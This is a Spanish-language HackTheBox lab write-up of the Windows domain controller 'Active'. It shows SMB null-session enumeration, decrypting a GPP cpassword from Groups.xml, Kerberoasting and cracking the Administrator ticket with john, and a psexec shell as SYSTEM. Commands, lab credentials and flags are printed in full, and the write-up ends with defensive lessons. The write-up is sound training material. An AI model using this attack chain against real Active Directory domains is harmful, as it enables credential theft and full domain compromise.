the_open_door
café
ESEN

Active

HackTheBoxFácilWindows10.10.10.100

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#active-directory#smb#null-session#gpp-cpassword#groups-xml#kerberoasting#spn#hash-cracking#psexec
TL;DR. Active es una máquina Windows fácil y un clásico de Active Directory. Un recurso SMB (Replication) es legible sin credenciales y guarda un Groups.xml de GPP con una contraseña cifrada; la clave de cifrado la publicó Microsoft, así que gpp-decrypt devuelve la contraseña de SVC_TGS. Con ese usuario del dominio lanzamos un Kerberoasting: la cuenta Administrator tiene un SPN, pedimos su TGS y crackeamos el hash a Ticketmaster1968. Con psexec esa credencial da una shell como NT AUTHORITY\SYSTEM.

Reconocimiento

Escaneo inicial

Un ping de un solo paquete nos da la primera pista del sistema operativo por el TTL:

ping -c 1 10.10.10.100

ping a 10.10.10.100 con la respuesta ttl=127 subrayada

64 bytes from 10.10.10.100: icmp_seq=1 ttl=127 time=109 ms

El ttl 127 apunta a Windows: Windows inicia el TTL en 128 y cada salto de routing lo decrementa, así que 127 = 128−1; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios, que dibuja un Domain Controller: Kerberos (88), LDAP (389), SMB (445), DNS (53) y los puertos RPC altos. El dominio es active.htb.

Un escaneo completo de puertos TCP (-p-) enumera toda la superficie del DC:

nmap -sS -n -Pn -p- --min-rate 5000 --open 10.10.10.100

nmap -p- lista los puertos abiertos del DC, todos con ttl 127: 53, 88, 135, 139, 389, 445 y los RPC altos

PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5722/tcp  open  msdfsr
9389/tcp  open  adws
47001/tcp open  winrm
49152/tcp open  msrpc
49153/tcp open  msrpc
49154/tcp open  msrpc
49155/tcp open  msrpc
49157/tcp open  msrpc
49158/tcp open  msrpc
49165/tcp open  msrpc
49171/tcp open  msrpc
49173/tcp open  msrpc

Sobre esos puertos, un -sCV (scripts por defecto y detección de versión) detalla servicio y versión, y confirma un DC con Windows Server 2008 R2 SP1 en el dominio active.htb:

extractPorts, una función del .zshrc, resume el fichero -oG y deja los veintitrés puertos en el portapapeles:

extractPorts scan

extractPorts resume el escaneo de Active: IP 10.10.10.100 y los veintitrés puertos abiertos, copiados al portapapeles

Extracting information ...
IP Address: 10.10.10.100
Open ports: 53,88,135,139,389,445,464,593,636,3268,3269,5722,9389,47001,49152,49153,49154,49155,49157,49158,49165,49171,49173

Ports copied to clipboard
nmap -p53,88,135,139,389,445,464,593,636,3268,3269,5722,9389,47001,49152,49153,49154,49155,49157,49158,49165,49171,49173 -sCV 10.10.10.100

nmap perfila un DC: Kerberos, LDAP, SMB y RPC en 10.10.10.100

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-06-14 16:17:06Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5722/tcp  open  msrpc         Microsoft Windows RPC
9389/tcp  open  mc-nmf        .NET Message Framing
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49152/tcp open  msrpc         Microsoft Windows RPC
49153/tcp open  msrpc         Microsoft Windows RPC
...
49173/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   2:1:0:
|_    Message signing enabled and required
| smb2-time:
|   date: 2025-06-14T16:18:05
|_  start_date: 2025-06-14T16:04:44

crackmapexec confirma el rol de DC y el nombre del dominio active.htb, que añadimos al /etc/hosts:

crackmapexec smb 10.10.10.100

crackmapexec confirma que la máquina es el DC del dominio active.htb

SMB  10.10.10.100  445  DC  [*] Windows 7 / Server 2008 R2 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True) (SMBv1:False)

Añadimos ese nombre al /etc/hosts para poder resolver active.htb y cargar los recursos del dominio por su nombre:

sudo nano /etc/hosts

/etc/hosts con la línea 10.10.10.100 active.htb añadida al final

SMB: un recurso legible sin credenciales

smbmap sin usuario muestra que el recurso Replication es legible en modo anónimo (sesión nula):

smbmap -H 10.10.10.100

smbmap revela el recurso Replication con permiso de solo lectura

[+] IP: 10.10.10.100:445    Name: active.htb    Status: Authenticated
        Disk           Permissions    Comment
        ----           -----------    -------
        ADMIN$         NO ACCESS      Remote Admin
        C$             NO ACCESS      Default share
        IPC$           NO ACCESS      Remote IPC
        NETLOGON       NO ACCESS      Logon server share
        Replication    READ ONLY
        SYSVOL         NO ACCESS      Logon server share
        Users          NO ACCESS

Recorremos el recurso para ver qué guarda. En la raíz cuelga una carpeta con el nombre del dominio, active.htb:

smbmap -H active.htb -r Replication

smbmap lista Replication en modo recursivo y muestra una carpeta active.htb dentro

Replication    READ ONLY
./Replication active.htb
dr--r--r--  0  Sat Jul 21 12:37:44 2018  .
dr--r--r--  0  Sat Jul 21 12:37:44 2018  ..
dr--r--r--  0  Sat Jul 21 12:37:44 2018  active.htb

Bajando un nivel más aparecen las carpetas DfsrPrivate, Policies y scripts:

smbmap -H active.htb -r Replication/active.htb

smbmap lista Replication/active.htb: DfsrPrivate, Policies y scripts, la estructura típica de SYSVOL

./Replication active.htb
dr--r--r--  0  Sat Jul 21 12:37:44 2018  .
dr--r--r--  0  Sat Jul 21 12:37:44 2018  ..
dr--r--r--  0  Sat Jul 21 12:37:44 2018  DfsrPrivate
dr--r--r--  0  Sat Jul 21 12:37:44 2018  Policies
dr--r--r--  0  Sat Jul 21 12:37:44 2018  scripts

Esa estructura (Policies + scripts + DfsrPrivate) es idéntica a la de SYSVOL, la carpeta que los DC replican entre sí con políticas y scripts. Eso es prometedor: dentro del árbol de políticas suele vivir un Groups.xml de Group Policy Preferences que puede contener contraseñas. Navegamos hasta él:

smbmap -H active.htb -r Replication/active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups
smbmap -H active.htb --download "Replication/active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups/Groups.xml"

smbmap navega hasta el directorio Groups y descarga Groups.xml

        Replication                                             READ ONLY
        ./Replication active.htb/Policies/{31B2F340-...-984F9}/MACHINE/Preferences/Groups
        dr--r--r--                0 Sat Jul 21 12:37:44 2018    .
        dr--r--r--                0 Sat Jul 21 12:37:44 2018    ..
        fr--r--r--              533 Sat Jul 21 12:38:11 2018    Groups.xml
...
[+] Starting download: Replication\active.htb\Policies\{31B2F340-...-984F9}\MACHINE\Preferences\Groups\Groups.xml (533 bytes)
[+] File output to: /home/krmena/machines/active/nmap/10.10.10.100-Replication_active.htb_..._Groups_Groups.xml

Acceso como SVC_TGS

GPP: una contraseña con cifrado roto

El Groups.xml contiene un atributo cpassword con la contraseña cifrada en AES. El problema es histórico: Microsoft publicó la clave AES en su documentación para desarrolladores, y cualquier miembro del dominio puede leer el SYSVOL. Es la vulnerabilidad de GPP. gpp-decrypt aplica esa clave conocida y descifra:

cat Groups.xml
gpp-decrypt 'edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ'

Groups.xml expone el cpassword de SVC_TGS y gpp-decrypt devuelve la contraseña en claro

userName: active.htb\SVC_TGS
cpassword (descifrada): GPPstillStandingStrong2k18

Con SVC_TGS:GPPstillStandingStrong2k18 ya validamos credenciales y leemos la flag de usuario en Users:

crackmapexec smb 10.10.10.100 --shares -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18'
smbclient //10.10.10.100/Users -U 'SVC_TGS%GPPstillStandingStrong2k18'

con las credenciales accedemos al recurso Users y leemos user.txt

bd69b5fb5bf467320531c0758aa6fc79

Enumeración del dominio con rpcclient

Con un usuario válido del dominio podemos consultar el DC por MS-RPC. rpcclient autenticado deja listar usuarios, grupos y SIDs, lo que sirve para buscar más superficie de ataque. Primero los usuarios del dominio:

rpcclient -U "SVC_TGS%GPPstillStandingStrong2k18" 10.10.10.100
> enumdomusers

rpcclient enumdomusers lista Administrator, Guest, krbtgt y SVC_TGS con sus RID

user:[Administrator] rid:[0x1f4]
user:[Guest]         rid:[0x1f5]
user:[krbtgt]        rid:[0x1f6]
user:[SVC_TGS]       rid:[0x44f]

Solo cuatro cuentas (Administrator, Guest, krbtgt y nuestro SVC_TGS): ningún usuario extra que atacar. Enumeramos los grupos por si SVC_TGS estuviera en alguno interesante:

rpcclient -U "SVC_TGS%GPPstillStandingStrong2k18" 10.10.10.100 -c 'enumdomgroups'

rpcclient enumdomgroups lista Domain Admins, Domain Users, Enterprise Admins, Group Policy Creator Owners, etc. con sus RID

group:[Enterprise Read-only Domain Controllers] rid:[0x1f2]
group:[Domain Admins]                            rid:[0x200]
group:[Domain Users]                             rid:[0x201]
group:[Group Policy Creator Owners]              rid:[0x208]
...

Consultamos los miembros de Domain Admins (RID 0x200) y detallamos la cuenta Administrator (RID 0x1f4) con queryuser:

rpcclient ... -c 'querygroupmem 0x200'
rpcclient ... -c 'queryuser 0x1f4'

querygroupmem 0x200 y queryuser 0x1f4: la descripción "Built-in account for administering the computer/domain" de Administrator

User Name   :   Administrator
Description :   Built-in account for administering the computer/domain
user_rid :      0x1f4
group_rid:      0x201

También podemos pedir el SID base del dominio con lsaquery, la pieza que necesita un ataque de fuerza bruta de RIDs para construir SIDs completos:

rpcclient -U "SVC_TGS%GPPstillStandingStrong2k18" 10.10.10.100 -c "lsaquery"

lsaquery devuelve Domain Name ACTIVE y Domain Sid S-1-5-21-405608879-3187717380-1996298813

Domain Name: ACTIVE
Domain Sid:  S-1-5-21-405608879-3187717380-1996298813

Con ese SID base, un bucle de RID brute force resuelve cada S-1-5-21-...-<RID> a su nombre. Solo confirma las cuentas que ya conocíamos (500 Administrator, 501 Guest, 502 krbtgt), sin objetos nuevos:

for i in {500..505}; do timeout 2 rpcclient -U "SVC_TGS%GPPstillStandingStrong2k18" 10.10.10.100 -c "lookupsids S-1-5-21-405608879-3187717380-1996298813-$i"; done

el bucle de RID brute force resuelve 500 Administrator, 501 Guest, 502 krbtgt y el resto como <em>unknown</em>

S-1-5-21-405608879-3187717380-1996298813-500 ACTIVE\Administrator (1)
S-1-5-21-405608879-3187717380-1996298813-501 ACTIVE\Guest (1)
S-1-5-21-405608879-3187717380-1996298813-502 ACTIVE\krbtgt (1)
S-1-5-21-405608879-3187717380-1996298813-503 *unknown*\*unknown* (8)

La enumeración RPC no descubre usuarios nuevos, así que probamos a descubrir usuarios por Kerberos con kerbrute, que valida nombres contra el KDC (puerto 88) sin necesidad de credenciales:

kerbrute userenum --dc 10.10.10.100 -d active.htb /home/krmena/SecLists/Usernames/Names/names.txt

kerbrute prueba 10177 nombres contra el KDC y termina con 0 usuarios válidos

2025/06/15 01:13:34 >  Using KDC(s):
2025/06/15 01:13:34 >    10.10.10.100:88

2025/06/15 01:17:58 >  Done! Tested 10177 usernames (0 valid) in 264.081 seconds

kerbrute no valida ningún usuario nuevo (0 valid). Con la superficie de usuarios agotada, el único vector que queda es abusar del Kerberos del propio SVC_TGS.

Shell como Administrator

Un descarte: AS-REP Roasting

Con un usuario válido, lo primero es buscar cuentas sin preautenticación de Kerberos (AS-REP Roasting). Antes conviene sincronizar el reloj con el DC, porque Kerberos rechaza tickets con más de 5 minutos de desfase:

ntpdate active.htb

ntpdate ajusta el reloj local con active.htb (CLOCK: time stepped by 0.86)

CLOCK: time stepped by 0.860187

Con el reloj sincronizado, pedimos un AS-REP para SVC_TGS. Pero la cuenta sí exige preautenticación, así que esa vía queda descartada:

GetNPUsers.py active.htb/ -no-pass -usersfile users.txt

GetNPUsers confirma que SVC_TGS sí tiene preautenticación: AS-REP Roasting no es viable

[-] User SVC_TGS doesn't have UF_DONT_REQUIRE_PREAUTH set

Kerberoasting de la cuenta Administrator

Pasamos a Kerberoasting: cualquier usuario autenticado puede pedir el TGS de cualquier cuenta con un SPN, y ese ticket va cifrado con la clave derivada de la contraseña del propietario del servicio. Si el dueño es una cuenta privilegiada con contraseña débil, se crackea offline. Aquí el SPN está asociado nada menos que a Administrator:

GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18 -request
john --wordlist=rockyou.txt hash

GetUserSPNs pide el TGS de Administrator y john crackea el hash a Ticketmaster1968

ServicePrincipalName  Name           MemberOf                                                 PasswordLastSet
--------------------  -------------  -------------------------------------------------------  --------------------------
active/CIFS:445       Administrator  CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb  2018-07-18 21:06:40.351723

$krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*$d2410c6a22d0a13c4dfcd84ef6c11a90...<SNIP>...b0bc45addbbe7a78

Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Ticketmaster1968 (?)
1g 0:00:00:07 DONE (2025-06-15 02:01) 0.2222g/s 2342Kp/s ...
Session completed.

El hash cae contra rockyou: la contraseña del administrador es Ticketmaster1968.

psexec como SYSTEM

WinRM (5985) no está abierto, así que usamos psexec, que crea un servicio por SMB para ejecutar comandos de forma remota. Con las credenciales de Administrator obtenemos shell como NT AUTHORITY\SYSTEM:

psexec.py active.htb/Administrator:Ticketmaster1968@10.10.10.100 cmd.exe

psexec abre una shell como NT AUTHORITY\SYSTEM y leemos root.txt

C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt
71fc69296a2753215b17f0f8696856cb

Cadena de ataque

DC active.htb (SMB :445)  →  smbmap (sesión nula)  →  Replication (= SYSVOL)
   │  Groups.xml  →  cpassword (GPP)
   ▼
gpp-decrypt (clave AES publicada)  →  SVC_TGS:GPPstillStandingStrong2k18  →  user.txt
   │  AS-REP Roast → descartado (preautenticación activa)
   ▼
Kerberoasting  →  TGS de Administrator (SPN)  →  john  →  Ticketmaster1968
   │
   ▼
psexec.py Administrator  →  NT AUTHORITY\SYSTEM  →  root.txt

Lecciones aprendidas

  • Un recurso SMB legible sin credenciales es media máquina. Replication replicaba el SYSVOL, y con él un Groups.xml. Restringir el acceso anónimo y no exponer copias de SYSVOL.
  • GPP fue un error de diseño de Microsoft. La clave de cifrado de cpassword es pública; cualquier Groups.xml con cpassword es texto plano. Aplicar el parche MS14-025 y, sobre todo, no fijar contraseñas por GPP.
  • Kerberoasting castiga a las cuentas de servicio con SPN. Que Administrator tuviera un SPN permitió pedir su TGS y crackearlo offline. Contraseñas largas y aleatorias en cuentas con SPN, o cuentas gestionadas (gMSA).
  • El reloj importa. Kerberos rechaza tickets con desfase mayor de 5 minutos: sincronizar con ntpdate antes de cualquier ataque de tickets.
Cheatsheet de comandos 19 comandos

Repaso rápido